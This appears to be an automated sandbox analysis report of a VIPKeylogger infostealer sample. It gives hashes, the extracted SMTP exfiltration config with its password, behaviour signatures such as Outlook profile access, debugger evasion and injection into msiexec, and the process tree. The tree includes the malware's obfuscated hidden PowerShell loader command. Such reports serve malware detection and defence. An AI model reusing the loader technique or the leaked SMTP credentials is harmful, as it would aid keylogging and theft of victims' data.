Analysis
- max time kernel
145s - max time network
135s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system - submitted
09/10/2024, 01:14
Static task
static1
Behavioral task
behavioral1
Sample
1eb9e4d9431c70bfd18beb58430bc81724eaff21837dd1faf012c83921a6418b.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
1eb9e4d9431c70bfd18beb58430bc81724eaff21837dd1faf012c83921a6418b.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Bronchial.ps1
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
Bronchial.ps1
Resource
win10v2004-20241007-en
General
- Target 1eb9e4d9431c70bfd18beb58430bc81724eaff21837dd1faf012c83921a6418b.exe
- Size 655KB
- Sample241009-blympa1gpb
- SHA256 1eb9e4d9431c70bfd18beb58430bc81724eaff21837dd1faf012c83921a6418b
- MD5 4b6574b4f1fcf896e9d945b4ee9edbe6
- SHA1 4fa67c8e5c345c5a75ee4c99562119ea1bf89603
- SHA512 949903450ce69ca58a9e90482815be71298d14873726768f4004a2616fc7db66510ece2f155c36d1942dba2ca0b293b211b2aba5562e15847a895bacd8796d7b
- SSDEEP 12288:y2QJ9o2sW3B9o2G2/6Skw3HhBLVBqCFENom/8Jdbt/dAhyWjX53XOTb:yv9o2sW3B9oV2iSkw3HJB87wdhyhyaRQ
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
Protocol
smtp
-
Host
smtp.ionos.es
-
Port
587
-
Username
-
Password
@Briaii133
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
smtp.ionos.es
-
Port
587
-
Username
-
Password
@Briaii133
-
Email to
Signatures
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3904 powershell.exe - Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe - Blocklisted process makes network request 9 IoCs
flow pid Process 18 4704 msiexec.exe 20 4704 msiexec.exe 22 4704 msiexec.exe 24 4704 msiexec.exe 26 4704 msiexec.exe 31 4704 msiexec.exe 34 4704 msiexec.exe 37 4704 msiexec.exe 52 4704 msiexec.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 17 drive.google.com 18 drive.google.com - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 30 checkip.dyndns.org - Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4704 msiexec.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3904 powershell.exe 4704 msiexec.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\resources\Macroblast\affejendes.tid 1eb9e4d9431c70bfd18beb58430bc81724eaff21837dd1faf012c83921a6418b.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 1eb9e4d9431c70bfd18beb58430bc81724eaff21837dd1faf012c83921a6418b.exe - Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 3904 powershell.exe 3904 powershell.exe 3904 powershell.exe 3904 powershell.exe 3904 powershell.exe 3904 powershell.exe 3904 powershell.exe 3904 powershell.exe 3904 powershell.exe 4704 msiexec.exe 4704 msiexec.exe - Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 3904 powershell.exe - Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 3904 powershell.exe Token: SeIncreaseQuotaPrivilege 3904 powershell.exe Token: SeSecurityPrivilege 3904 powershell.exe Token: SeTakeOwnershipPrivilege 3904 powershell.exe Token: SeLoadDriverPrivilege 3904 powershell.exe Token: SeSystemProfilePrivilege 3904 powershell.exe Token: SeSystemtimePrivilege 3904 powershell.exe Token: SeProfSingleProcessPrivilege 3904 powershell.exe Token: SeIncBasePriorityPrivilege 3904 powershell.exe Token: SeCreatePagefilePrivilege 3904 powershell.exe Token: SeBackupPrivilege 3904 powershell.exe Token: SeRestorePrivilege 3904 powershell.exe Token: SeShutdownPrivilege 3904 powershell.exe Token: SeDebugPrivilege 3904 powershell.exe Token: SeSystemEnvironmentPrivilege 3904 powershell.exe Token: SeRemoteShutdownPrivilege 3904 powershell.exe Token: SeUndockPrivilege 3904 powershell.exe Token: SeManageVolumePrivilege 3904 powershell.exe Token: 33 3904 powershell.exe Token: 34 3904 powershell.exe Token: 35 3904 powershell.exe Token: 36 3904 powershell.exe Token: SeDebugPrivilege 4704 msiexec.exe - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 4524 wrote to memory of 3904 4524 1eb9e4d9431c70bfd18beb58430bc81724eaff21837dd1faf012c83921a6418b.exe 86 PID 4524 wrote to memory of 3904 4524 1eb9e4d9431c70bfd18beb58430bc81724eaff21837dd1faf012c83921a6418b.exe 86 PID 4524 wrote to memory of 3904 4524 1eb9e4d9431c70bfd18beb58430bc81724eaff21837dd1faf012c83921a6418b.exe 86 PID 3904 wrote to memory of 4704 3904 powershell.exe 89 PID 3904 wrote to memory of 4704 3904 powershell.exe 89 PID 3904 wrote to memory of 4704 3904 powershell.exe 89 PID 3904 wrote to memory of 4704 3904 powershell.exe 89 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\1eb9e4d9431c70bfd18beb58430bc81724eaff21837dd1faf012c83921a6418b.exe"C:\Users\Admin\AppData\Local\Temp\1eb9e4d9431c70bfd18beb58430bc81724eaff21837dd1faf012c83921a6418b.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4524 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Efterforskernes=Get-Content -raw 'C:\Users\Admin\AppData\Local\downrange\Stutteriers\samfrdselen\Bronchial.Rev';$regives=$Efterforskernes.SubString(53737,3);.$regives($Efterforskernes)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3904 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\syswow64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4704
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-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bmbnhhfn.nra.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\downrange\Stutteriers\samfrdselen\Bronchial.Rev
- Size 53KB
- SHA256 07214c3106b73ab3636312bb5dded94558e94ff987c2a7afd3b25d6f6ff70603
- MD5 964ad8a70ae8d0d1460e36109c9e717c
- SHA1 c6c17dec132a22c0da128abc21b47793996d9c86
- SHA512 588dc5d099ded1d86d60b767c851fb8b5aeed8297a3e7d8dec013673e7f576758daa7adacc68e514f4cc5b950795ff1d14162b0996fc5c022512cfac77b39c37
- SSDEEP 1536:0UQ5eKx/WJHbGssheX5PeqSmH8UdEHCxsewwM:HQ5eKxwHbG8e/q8UuCuxJ
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\downrange\Stutteriers\samfrdselen\dropforger.Tac
- Size 301KB
- SHA256 e760391ffbdab9ae639458d03cce8aa13d0bd549070d51a7fe2cedd2ce2b832c
- MD5 26a67fe0f869e759fb94906750a8aea6
- SHA1 69324fb8fa5086f86be598e26e852e5075a4611d
- SHA512 eaf0029d745cefda376ec84afd20d784186ec6bfec2753ab080959521cb6bb2b0cd31b73916965e4b5517717a4fbf2398e3662c3d4a254d4e2a1292219cf91c1
- SSDEEP 6144:tCzqwn7tuCaJ4bchxDhIV3jIT9Rr/tYzPXliUG:tqp7IhxDhYcT9RrFciUG
- MD5 SHA1 SHA512 SSDEEP